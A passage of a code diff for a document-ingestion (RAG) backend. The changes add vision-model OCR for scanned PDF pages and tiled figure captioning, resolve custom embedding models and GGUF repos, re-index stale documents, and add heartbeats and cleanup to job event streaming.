model: str,
image_bytes: bytes,
*,
prompt: str,
timeout: float,
max_tokens: int,
temperature: float = 0.0,
) -> str | None:
"""One image-in / text-out call to the loaded vision model's OpenAI-compatible
endpoint. Returns the stripped text or ``None`` on empty/failure (non-fatal)."""
import httpx
data_url = "data:image/png;base64," + base64.b64encode(image_bytes).decode("ascii")
@ -43,33 +110,64 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float)
{
"role": "user",
"content": [
{"type": "text", "text": _CAPTION_PROMPT},
{"type": "text", "text": prompt},
{"type": "image_url", "image_url": {"url": data_url}},
],
}
],
"max_tokens": 200,
"temperature": 0.2,
"max_tokens": max_tokens,
# Deterministic by default: transcription must not randomly drop labels.
"temperature": temperature,
"stream": False,
# Off: thinking models would spend the budget reasoning, returning "".
"chat_template_kwargs": {"enable_thinking": False},
}
try:
r = httpx.post(f"{base_url}/v1/chat/completions", json = payload, timeout = timeout)
r = httpx.post(
f"{base_url}/v1/chat/completions",
json = payload,
timeout = timeout,
headers = _vision_auth_headers(),
# trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
trust_env = False,
)
r.raise_for_status()
text = r.json()["choices"][0]["message"]["content"]
return text.strip() or None
except Exception: # noqa: BLE001 - a failed caption is non-fatal
logger.debug("caption request failed", exc_info = True)
except Exception: # noqa: BLE001 - a failed vision call is non-fatal
logger.debug("vision request failed", exc_info = True)
return None
def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
return _vision_complete(
base_url,
model,
image_bytes,
prompt = _CAPTION_PROMPT,
timeout = timeout,
max_tokens = config.CAPTION_MAX_TOKENS,
)
def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
return _vision_complete(
base_url,
model,
image_bytes,
prompt = _OCR_PROMPT,
timeout = timeout,
max_tokens = config.OCR_MAX_TOKENS,
)
def caption_images(
images: list, *, endpoint: tuple[str, str] | None = None
) -> dict[int, list[str]]:
"""Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when
disabled, no vision model, or no images. Bounded by ``CAPTION_MAX_IMAGES``."""
if not config.CAPTION_IMAGES or not images:
"""Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when there
are no images or no vision model. The caller (`ingestion._run`) owns the on/off
policy. Bounded by ``CAPTION_MAX_IMAGES``; each caption passes ``_collapse_runaway``."""
if not images:
return {}
ep = endpoint or vision_endpoint()
if ep is None:
@ -84,7 +182,50 @@ def caption_images(
caption = _caption_one(base_url, model, image_bytes, config.CAPTION_TIMEOUT_S)
if caption:
page = getattr(img, "page_number", None) or 0
out.setdefault(int(page), []).append(caption)
out.setdefault(int(page), []).append(_collapse_runaway(caption))
return out
def ocr_pages(
page_pngs: dict[int, bytes], *, endpoint: tuple[str, str] | None = None
) -> dict[int, str]:
"""OCR rendered page PNGs (keyed by 1-based page number) to text; ``{}`` when there
is no vision model or no pages. The caller (`ingestion._ocr_scanned_pages`) owns the
on/off policy. Bounded by ``OCR_MAX_PAGES``."""
if not page_pngs:
return {}
ep = endpoint or vision_endpoint()
if ep is None:
return {}
base_url, model = ep
out: dict[int, str] = {}
for page_num in sorted(page_pngs)[: config.OCR_MAX_PAGES]:
text = _ocr_one(base_url, model, page_pngs[page_num], config.OCR_TIMEOUT_S)
if text:
out[int(page_num)] = _collapse_runaway(text)
return out
def merge_page_captions(captions: dict[int, list[str]]) -> dict[int, list[str]]:
"""Merge a page's per-tile captions into one deduped block: drop lines repeated
across overlapping tiles (first kept, order preserved), then ``_collapse_runaway``,
so ``splice_captions`` adds a single figure block per page."""
out: dict[int, list[str]] = {}
for page, caps in captions.items():
seen: set[str] = set()
lines: list[str] = []
for cap in caps:
for line in (cap or "").splitlines():
stripped = line.strip()
key = stripped.lower()
if not stripped or key in seen:
continue
seen.add(key)
lines.append(stripped)
merged = _collapse_runaway("\n".join(lines))
if merged.strip():
out[page] = [merged]
return out

90
studio/backend/core/rag/config.py
View file

@ -6,8 +6,10 @@
from __future__ import annotations
import os
import re
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5")
DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5"
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL)
# Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow:
# llama-server 500s, ST truncates). Keep <= embedder_max - ~12.
CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500"))
@ -17,18 +19,92 @@ TOP_K_DENSE = int(os.environ.get("RAG_TOP_K_DENSE", "30"))
TOP_K_HYBRID = int(os.environ.get("RAG_TOP_K_HYBRID", "10"))
RRF_K = int(os.environ.get("RAG_RRF_K", "60"))
UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
# Whole-document context: a thread-attached file under the token budget is injected
# in full (every chunk, in order) instead of top-K retrieval; above it, use retrieval.
THREAD_WHOLE_DOC = os.environ.get("RAG_THREAD_WHOLE_DOC", "1") == "1"
WHOLE_DOC_MAX_TOKENS = int(os.environ.get("RAG_WHOLE_DOC_MAX_TOKENS", "6000"))
# Figure captioning via the loaded vision model; off by default since each caption
# is a model call. MAX_IMAGES bounds per-doc cost.
CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "0") == "1"
CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "8"))
CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "30"))
UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
# Reject uploads larger than this, so one pathological file can't drive unbounded parse
# + vision work at ingest. 0 disables the cap. Default 200 MB.
MAX_UPLOAD_BYTES = int(os.environ.get("RAG_MAX_UPLOAD_BYTES", str(200 * 1024 * 1024)))
# Extract PDF text as layout-aware Markdown (pymupdf4llm) instead of flat text, so
# tables, headings and lists survive into chunks and retrieval. Falls back to plain
# PyMuPDF text when off, when pymupdf4llm is missing, or when extraction fails.
PDF_MARKDOWN = os.environ.get("RAG_PDF_MARKDOWN", "1") == "1"
# Figure captioning via the loaded vision model: detected figures are transcribed +
# described so they become searchable. On by default, a no-op without a vision model;
# the chat's "Describe figures & charts" toggle overrides it per upload.
CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "1") == "1"
# Total per-document tile budget (figure-bearing pages are tiled, see below).
CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "24"))
CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "60"))
# Larger than a one-line caption since captions transcribe every label. FIGURE_DPI is
# high enough to keep small box/axis labels legible when tiles are rendered.
CAPTION_MAX_TOKENS = int(os.environ.get("RAG_CAPTION_MAX_TOKENS", "768"))
FIGURE_DPI = int(os.environ.get("RAG_FIGURE_DPI", "200"))
# Figure pages are tiled into an overlapping ROWS x COLS grid of high-DPI tiles (plus
# an optional full page), so small labels and every sub-figure are covered without
# exact region detection. MAX_PAGES bounds figure pages; MAX_IMAGES bounds total tiles.
FIGURE_TILE_ROWS = int(os.environ.get("RAG_FIGURE_TILE_ROWS", "2"))
FIGURE_TILE_COLS = int(os.environ.get("RAG_FIGURE_TILE_COLS", "2"))
FIGURE_TILE_OVERLAP = float(os.environ.get("RAG_FIGURE_TILE_OVERLAP", "0.12"))
FIGURE_FULLPAGE = os.environ.get("RAG_FIGURE_FULLPAGE", "1") == "1"
CAPTION_MAX_PAGES = int(os.environ.get("RAG_CAPTION_MAX_PAGES", "4"))
# Scanned-PDF OCR: a page with little extractable text is rendered and transcribed by
# the vision model so it becomes searchable. Needs a vision model, else skipped (page
# stays empty). MIN_CHARS is the text length below which a page is treated as scanned.
OCR_SCANNED = os.environ.get("RAG_OCR_SCANNED", "1") == "1"
OCR_MIN_CHARS = int(os.environ.get("RAG_OCR_MIN_CHARS", "16"))
OCR_MAX_PAGES = int(os.environ.get("RAG_OCR_MAX_PAGES", "20"))
OCR_DPI = int(os.environ.get("RAG_OCR_DPI", "150"))
OCR_TIMEOUT_S = float(os.environ.get("RAG_OCR_TIMEOUT_S", "60"))
OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
# Embedder backend. "auto": sentence-transformers on a CUDA/ROCm GPU (torch fp16
# wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
# the vectors, so the index must be rebuilt.
EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto")
def effective_embedding_model() -> str:
"""The embedding model actually in use: the persisted Settings override when
one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a
Settings change applies without a restart."""
try:
from utils.embedding_model_settings import get_rag_embedding_model
return get_rag_embedding_model()
except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot)
return EMBEDDING_MODEL
def _names_gguf(model: str) -> bool:
"""True when "gguf" appears as a whole name segment, so plain substrings
like "bigguf" don't count."""
return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
def effective_gguf_repo() -> str:
"""GGUF repo for the llama-server backend, tracking the effective model.
An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom
model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its
``-GGUF`` companion repo (the unsloth convention the default pair follows),
or is used as-is when it already names a GGUF repo.
"""
if "RAG_EMBED_GGUF_REPO" in os.environ:
return EMBED_GGUF_REPO
model = effective_embedding_model()
if model == DEFAULT_EMBEDDING_MODEL:
return EMBED_GGUF_REPO
if _names_gguf(model):
return model
return f"{model}-GGUF"
# llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
# tiny model) and exact vs fp32, for ~30MB more on disk.
EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF")

115
studio/backend/core/rag/embed_llama_server.py
View file

@ -55,15 +55,20 @@ class LlamaServerBackend:
self._port: int | None = None
self._stdout_lines: list[str] = []
self._stdout_thread: threading.Thread | None = None
# No lock: probes are idempotent (a duplicate 1-text encode is benign)
# and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can
# re-enter on a mid-probe model change, which would self-deadlock a
# non-reentrant lock held across the probe.
self._dim: int | None = None
self._dim_lock = threading.Lock()
self._model_path: str | None = None
# Effective GGUF repo the cached path/dim belong to; a Settings change
# makes it stale, forcing a re-resolve + respawn (see _ensure_ready).
self._model_repo: str | None = None
self._binary: str | None = None
# Sticky after an auto GPU start fails: later spawns stay on CPU.
self._force_cpu = False
# Pooled client; requests pass full URLs, so a respawn's new port needs
# no rebuild.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
# Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
atexit.register(self._shutdown)
@property
@ -115,24 +120,77 @@ class LlamaServerBackend:
"RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build"
)
@staticmethod
def _resolve_local_gguf(model: str) -> str | None:
"""A custom model may be a local .gguf file or a directory holding one;
resolve it without the hub. None when the value is not a local path."""
p = Path(model).expanduser()
if p.is_file() and p.suffix.lower() == ".gguf":
return str(p)
if p.is_dir():
files = [
f
for f in p.iterdir()
if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower()
]
if not files:
raise RuntimeError(f"no .gguf file found in local model dir {model!r}")
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.name.lower()] or files
return str(sorted(match, key = lambda f: len(f.name))[0])
return None
def _resolve_model_path(self) -> str:
"""Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder,
returning its local path."""
if self._model_path is not None:
returning its local path. Re-resolves when the effective repo changed (a
custom model was saved in Settings)."""
# Captured once: if the setting changes mid-download, the path must stay
# tagged with the repo it was resolved FOR, so _current() sees the new
# setting as stale and respawns instead of serving the old model.
desired = config.effective_gguf_repo()
if self._model_path is not None and self._model_repo == desired:
return self._model_path
local = self._resolve_local_gguf(config.effective_embedding_model())
if local is not None:
self._model_path = local
self._model_repo = desired
self._dim = None
return self._model_path
from huggingface_hub import hf_hub_download, list_repo_files
repo = config.EMBED_GGUF_REPO
token = os.environ.get("HF_TOKEN") or None
files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")]
files = [f for f in files if "mmproj" not in f.lower()]
# A custom model derives its "-GGUF" companion repo; when that guess does
# not exist, the model repo itself may host the .gguf files.
repo = desired
candidates = [repo]
model = config.effective_embedding_model()
if model != repo:
candidates.append(model)
files: list[str] = []
errors: list[str] = []
for candidate in candidates:
try:
files = [
f
for f in list_repo_files(candidate, token = token)
if f.lower().endswith(".gguf") and "mmproj" not in f.lower()
]
except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate
errors.append(f"{candidate!r}: {e}")
continue
if files:
repo = candidate
break
errors.append(f"{candidate!r}: no .gguf files")
if not files:
raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}")
raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors))
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.lower()] or files
filename = sorted(match, key = len)[0]
logger.info("resolving GGUF embedder %s/%s", repo, filename)
self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
self._model_repo = desired
self._dim = None
return self._model_path
# Min free VRAM (MiB) for the embedder; below this, auto stays on CPU.
@ -305,7 +363,8 @@ class LlamaServerBackend:
logger.error("llama-server embedder exited early (code %s)", code)
return False
try:
if httpx.get(url, timeout = 2.0).status_code == 200:
# trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
return True
except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
pass
@ -316,13 +375,19 @@ class LlamaServerBackend:
def _process_alive(self) -> bool:
return self._process is not None and self._process.poll() is None
def _current(self) -> bool:
"""Alive AND serving the effective repo (a Settings model change makes a
live server stale)."""
return self._process_alive() and self._model_repo == config.effective_gguf_repo()
def _ensure_ready(self) -> None:
"""Guarantee a live server, (re)spawning if needed. Double-checked so the
alive path takes no lock; self-heals after the chat reaper kills us."""
if self._process_alive():
"""Guarantee a live server on the effective model, (re)spawning if needed.
Double-checked so the current path takes no lock; self-heals after the
chat reaper kills us and re-resolves after a Settings model change."""
if self._current():
return
with self._lifecycle_lock:
if self._process_alive():
if self._current():
return
self._kill_process()
self._spawn()
@ -424,14 +489,18 @@ class LlamaServerBackend:
return arr
def dim(self, *, model_name = None) -> int:
"""Embedding width, probed once via a 1-text encode and cached."""
if self._dim is not None:
return self._dim
with self._dim_lock:
if self._dim is None:
vec = self.encode(["x"], normalize = False)
self._dim = int(vec.shape[1])
return self._dim
"""Embedding width, probed via a 1-text encode and cached per model
(_resolve_model_path clears it when the effective repo changes).
Unlocked: concurrent probes are benign, and locking would deadlock when
the probe's encode respawns onto a changed model (see __init__)."""
self._ensure_ready()
cached = self._dim
if cached is not None:
return cached
vec = self.encode(["x"], normalize = False)
width = int(vec.shape[1])
self._dim = width
return width
def warm(self, *, model_name = None) -> None:
"""Start the server and probe dim off the request path."""

2
studio/backend/core/rag/embeddings.py
View file

@ -67,7 +67,7 @@ def _get(model_name: str | None = None):
"""Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
for a ~1.5x speedup at negligible accuracy loss."""
global _model, _name
name = model_name or config.EMBEDDING_MODEL
name = model_name or config.effective_embedding_model()
with _lock:
if _model is None or _name != name:
_install_torchao_stub_once()

270
studio/backend/core/rag/ingestion.py
View file

@ -26,6 +26,11 @@ _jobs_lock = threading.Lock()
_EMBED_BATCH = 64 # bounds peak memory
# Poll with a timeout so the generator wakes periodically to detect a gone
# client or a terminal job whose worker died without the None sentinel.
_SSE_POLL_SECONDS = 1.0
_TERMINAL_JOB_STATUSES = {"completed", "failed"}
def _sha256_file(path: str) -> str:
h = hashlib.sha256()
@ -94,25 +99,122 @@ def _embed_all(texts: list[str], model_name: str | None):
return vectors
def _ocr_scanned_pages(
pages: list,
stored_path: str,
conn,
job_id: str,
ocr: bool | None = None,
) -> tuple[list, set[int]]:
"""Replace text on near-empty (scanned/image-only) PDF pages with vision-model OCR
so image PDFs become searchable. ``ocr`` overrides ``config.OCR_SCANNED`` per upload
(``None`` = config default); no-op without scanned pages or a vision model. OCR'd
pages have no text layer, so no preview highlight regions, but stay searchable.
Returns ``(pages, ocred)``: new ``Page`` objects for OCR'd pages (originals
otherwise) and the set of page numbers actually transcribed."""
if not (config.OCR_SCANNED if ocr is None else ocr):
return pages, set()
scanned = [
p.page_number
for p in pages
if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS
]
if not scanned or captioner.vision_endpoint() is None:
return pages, set()
if len(scanned) > config.OCR_MAX_PAGES:
logger.warning(
"OCR: %d scanned pages exceed OCR_MAX_PAGES=%d; pages past the cap stay "
"untranscribed (raise RAG_OCR_MAX_PAGES to cover them)",
len(scanned),
config.OCR_MAX_PAGES,
)
scanned = scanned[: config.OCR_MAX_PAGES]
_progress(conn, job_id, "ocr", 0.25)
page_pngs = parsers.render_pdf_pages(stored_path, scanned, dpi = config.OCR_DPI)
texts = captioner.ocr_pages(page_pngs)
if not texts:
return pages, set()
from .parsers import Page
out: list = []
ocred: set[int] = set()
for page in pages:
text = texts.get(page.page_number)
if text:
original = (page.text or "").strip()
merged = text if not original or original in text else f"{original}\n\n{text}"
out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged)))
ocred.add(page.page_number)
else:
out.append(page)
return out, ocred
def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None:
"""Drop the document this ingestion replaced (stale embedder / empty prior
ingest), called only after the replacement completed successfully."""
if replaces is None:
return
old_id, old_path = replaces
try:
store.delete_document(conn, old_id)
_remove_upload(old_path, keep_path = keep_path)
except Exception: # noqa: BLE001 - the new document is already live
logger.warning("failed to remove replaced document %s", old_id, exc_info = True)
def _run(
job_id: str, document_id: str, scope: str, stored_path: str, model_name: str | None
job_id: str,
document_id: str,
scope: str,
stored_path: str,
model_name: str | None,
ocr: bool | None = None,
caption: bool | None = None,
replaces: tuple[str, str | None] | None = None,
) -> None:
conn = rag_db.get_connection()
try:
_progress(conn, job_id, "parsing", 0.1)
pages = parsers.parse(stored_path)
if config.CAPTION_IMAGES and stored_path.lower().endswith(".pdf"):
# Caption figures, splice into page text (no-op without a vision model).
is_pdf = stored_path.lower().endswith(".pdf")
ocred: set[int] = set()
if is_pdf:
pages, ocred = _ocr_scanned_pages(pages, stored_path, conn, job_id, ocr = ocr)
caption_on = config.CAPTION_IMAGES if caption is None else caption
# Skip all figure work (PDF rasterization included) without a vision model.
if caption_on and is_pdf and captioner.vision_endpoint() is not None:
# Tile figure pages, transcribe+describe each tile, then merge/dedup/splice
# into the page text so small labels and every sub-figure are captured.
try:
figures = parsers.render_pdf_figures(
stored_path, max_figures = config.CAPTION_MAX_IMAGES
fig_pages = parsers.pages_with_figures(
stored_path,
max_pages = config.CAPTION_MAX_PAGES,
# Skip only pages OCR actually transcribed (it covers them whole); a
# scanned figure page past the OCR cap or with empty OCR still tiles.
exclude_pages = ocred,
)
tiles = (
parsers.render_pdf_figure_tiles(
stored_path,
fig_pages,
dpi = config.FIGURE_DPI,
rows = config.FIGURE_TILE_ROWS,
cols = config.FIGURE_TILE_COLS,
overlap = config.FIGURE_TILE_OVERLAP,
fullpage = config.FIGURE_FULLPAGE,
max_tiles = config.CAPTION_MAX_IMAGES,
)
if fig_pages
else []
)
except Exception:
logger.warning("figure rendering failed for job %s", job_id, exc_info = True)
figures = []
if figures:
_progress(conn, job_id, "captioning", 0.2)
captions = captioner.caption_images(figures)
logger.warning("figure tiling failed for job %s", job_id, exc_info = True)
tiles = []
if tiles:
_progress(conn, job_id, "captioning", 0.28)
captions = captioner.merge_page_captions(captioner.caption_images(tiles))
pages = captioner.splice_captions(pages, captions)
_progress(conn, job_id, "chunking", 0.3)
@ -125,6 +227,7 @@ def _run(
)
if not chunks:
store.set_document_status(conn, document_id, "completed", num_chunks = 0)
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": 0})
return
@ -145,6 +248,7 @@ def _run(
_progress(conn, job_id, "storing", 0.9)
store.add_chunks(conn, scope, document_id, chunks, vectors, regions)
store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks))
_replace_old_document(conn, replaces, stored_path)
_set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
_emit(job_id, {"type": "complete", "num_chunks": len(chunks)})
@ -170,6 +274,8 @@ def start_ingestion(
*,
project_id: str | None = None,
model_name: str | None = None,
ocr: bool | None = None,
caption: bool | None = None,
) -> tuple[str, str]:
"""Create the document + job rows and spawn the worker, returning
``(document_id, job_id)``. A duplicate content hash in this scope returns the
@ -178,18 +284,49 @@ def start_ingestion(
if ext not in config.UPLOAD_EXTS:
raise ValueError(f"unsupported file type: {ext}")
# Reclaim queues for finished jobs so the registry stays bounded.
_reap_finished_jobs()
sha = _sha256_file(stored_path)
conn = rag_db.get_connection()
try:
effective_model = model_name or config.effective_embedding_model()
# (old_document_id, old_stored_path) replaced by this upload; deleted by
# the worker only after the replacement completes, so a failed re-index
# never destroys the still-searchable original.
replaces: tuple[str, str | None] | None = None
existing = store.document_by_hash(conn, scope, sha)
if existing is not None:
job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
_remove_upload(stored_path)
with _jobs_lock:
_jobs[job_id] = queue.Queue()
_emit(job_id, {"type": "complete", "num_chunks": 0, "deduped": True})
_emit(job_id, None)
return existing, job_id
doc = store.get_document(conn, existing)
empty_completed = (
doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
)
# Vectors from a different embedder are stale; re-uploading must
# re-index, not dedupe. NULL (legacy rows) is assumed current. Only
# completed rows are replaceable: a pending/running duplicate has a
# live worker whose writes must not land on a deleted document.
stale_model = (
doc is not None
and doc.get("status") == "completed"
and doc.get("embedding_model") is not None
and doc.get("embedding_model") != effective_model
)
if empty_completed or stale_model:
# A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
# PDF uploaded before a vision model loaded), or was embedded with a
# different model. Re-ingest, don't dedupe.
replaces = (existing, doc.get("stored_path"))
else:
job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
_remove_upload(stored_path)
with _jobs_lock:
_jobs[job_id] = queue.Queue()
_emit(
job_id,
{"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True},
)
_emit(job_id, None)
return existing, job_id
for failed in store.failed_documents_by_hash(conn, scope, sha):
store.delete_document(conn, failed["id"])
_remove_upload(failed.get("stored_path"), keep_path = stored_path)
@ -204,6 +341,7 @@ def start_ingestion(
project_id = project_id,
status = "pending",
stored_path = stored_path,
embedding_model = effective_model,
)
job_id = _new_job(conn, document_id, scope)
finally:
@ -213,7 +351,10 @@ def start_ingestion(
_jobs[job_id] = queue.Queue()
threading.Thread(
target = _run,
args = (job_id, document_id, scope, stored_path, model_name),
# effective_model (not the raw model_name) pins the embedder for the
# whole job: a Settings change mid-ingestion must not switch tokenizer
# or embedder between batches of one document.
args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces),
daemon = True,
).start()
return document_id, job_id
@ -248,26 +389,99 @@ def _new_job(
return job_id
def _reap_finished_jobs() -> None:
"""Drop per-job queues whose DB row already reached a terminal status.
Otherwise removed only by ``job_events`` after the ``None`` sentinel, so a
caller that polls ``/jobs/{id}`` instead of streaming would grow ``_jobs``
forever. Safe while streaming: ``job_events`` holds its queue reference.
"""
with _jobs_lock:
job_ids = list(_jobs.keys())
for jid in job_ids:
row = get_job_status(jid)
if row is not None and row.get("status") in _TERMINAL_JOB_STATUSES:
with _jobs_lock:
_jobs.pop(jid, None)
def job_events(job_id: str):
"""Yield job events for SSE; ends when the worker signals completion."""
"""Yield job events for SSE; ends when the worker signals completion.
Timed ``get`` so the generator can't block forever: it wakes to heartbeat,
to notice a disconnected client, and to stop on a terminal DB status (a hard
worker death that skipped the ``None`` sentinel). Drops the queue only on a
terminal exit, never on an early client disconnect.
It deliberately does *not* end on idle alone: a long silent stage (e.g.
embedding a large doc) is not a failure, and ending there would send
``[DONE]`` with the row still pending, which the client treats as completion.
The stream ends only on a terminal status, the ``None`` sentinel, or disconnect.
"""
with _jobs_lock:
q = _jobs.get(job_id)
if q is None:
return
while True:
event = q.get()
if event is None:
break
yield event
with _jobs_lock:
_jobs.pop(job_id, None)
terminal = False
try:
while True:
try:
event = q.get(timeout = _SSE_POLL_SECONDS)
except queue.Empty:
try:
row = get_job_status(job_id)
except Exception: # noqa: BLE001
# A transient status read (e.g. the DB momentarily locked) must
# not abort the stream: routes/rag.py would turn the raised
# exception into a terminal {type: error} frame and the UI would
# drop a document whose worker is still running. Heartbeat and
# retry on the next poll instead.
logger.warning(
"job_events status read failed for %s; continuing", job_id, exc_info = True
)
yield {"type": "heartbeat"}
continue
if row is None or row.get("status") in _TERMINAL_JOB_STATUSES:
# Worker finished (or row gone); stop and let the client reconcile via getJob.
terminal = True
break
yield {"type": "heartbeat"}
continue
if event is None:
terminal = True
break
yield event
finally:
# Drop the queue once nothing more will be emitted into it: either a
# terminal exit, or a disconnect after the job already finished (the UI
# stops on the terminal event, before [DONE], so terminal is still False
# here -- _run writes the terminal DB status before emitting it). Keep it
# only while the worker is still running, so an early disconnect can
# reconnect and resume its events.
if not terminal:
try:
row = get_job_status(job_id)
terminal = row is None or row.get("status") in _TERMINAL_JOB_STATUSES
except Exception: # noqa: BLE001
# Can't confirm terminality (transient DB error) -- keep the queue so
# a reconnect can resume rather than orphaning a live worker's events.
terminal = False
if terminal:
with _jobs_lock:
_jobs.pop(job_id, None)
def get_job_status(job_id: str) -> dict | None:
"""Read the persisted ingestion job row (status / stage / progress / error)."""
"""Read the persisted ingestion job row (status / stage / progress / error), plus
the document's ``num_chunks`` so a client polling to completion learns the chunk
count (the SSE ``complete`` frame carries it, but the poll/reconcile path does not)."""
conn = rag_db.get_connection()
try:
row = conn.execute("SELECT * FROM ingestion_jobs WHERE id=?", (job_id,)).fetchone()
row = conn.execute(
"SELECT j.*, d.num_chunks AS num_chunks FROM ingestion_jobs j "
"LEFT JOIN documents d ON d.id = j.document_id WHERE j.id=?",
(job_id,),
).fetchone()
return dict(row) if row else None
finally:
conn.close()

6
studio/backend/core/rag/locators.py
View file

@ -39,9 +39,11 @@ def _norm_token(token: str) -> str:
def _anchor_tokens(page_text: str, match: LocatorMatch) -> list[str]:
"""Normalized anchor tokens from the chunk's leading span. Drops first and last
token (boundaries often slice mid-word) when long enough."""
token (boundaries often slice mid-word) when long enough. Pipes are split out so
Markdown table cells (``|Q1|$1.2M|``) become individual words that match the PDF
word stream."""
segment = page_text[match.start : match.end]
raw = segment.split()
raw = segment.replace("|", " ").split()
if len(raw) >= MIN_ANCHOR_WORDS + 2:
raw = raw[1:-1]
tokens = [t for t in (_norm_token(w) for w in raw) if t]

309
studio/backend/core/rag/parsers.py
View file

@ -12,9 +12,12 @@ from __future__ import annotations
import logging
import os
import re
from dataclasses import dataclass
from html.parser import HTMLParser
from . import config
logger = logging.getLogger(__name__)
@ -67,6 +70,61 @@ def _html(raw: str) -> list[Page]:
return [_page("\n".join(parser.out), 1)]
# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping
# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to
# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these
# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat
# extractor guard (unslothai/unsloth#5351 review).
_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]")
_PDF_FALLBACK_MIN_BAD_GLYPHS = 5
_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005
_PDF_INCOMPLETE_RATIO = 0.75
_PDF_INCOMPLETE_MIN_LETTERS = 200
def _markdown_corrupted(text: str) -> bool:
"""True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL
Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone
legitimate shaped glyph does not force the fallback)."""
if not text:
return False
threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text))
shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text))
return shaped > threshold or text.count("\ufffd") > threshold
def _markdown_incomplete(markdown: str, plain: str) -> bool:
"""True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a
coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs."""
plain_letters = sum(1 for c in plain if c.isalnum())
if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS:
return False
markdown_letters = sum(1 for c in markdown if c.isalnum())
return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
def _pdf_markdown(doc) -> list[str] | None:
"""Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
page count does not line up, so the caller falls back to plain PyMuPDF text."""
try:
import pymupdf4llm
except Exception:
return None
try:
chunks = pymupdf4llm.to_markdown(
doc,
page_chunks = True,
show_progress = False,
)
except Exception: # noqa: BLE001 - never let Markdown extraction break ingestion
logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
return None
if not isinstance(chunks, list) or len(chunks) != doc.page_count:
return None
return [str(c.get("text") or "") for c in chunks]
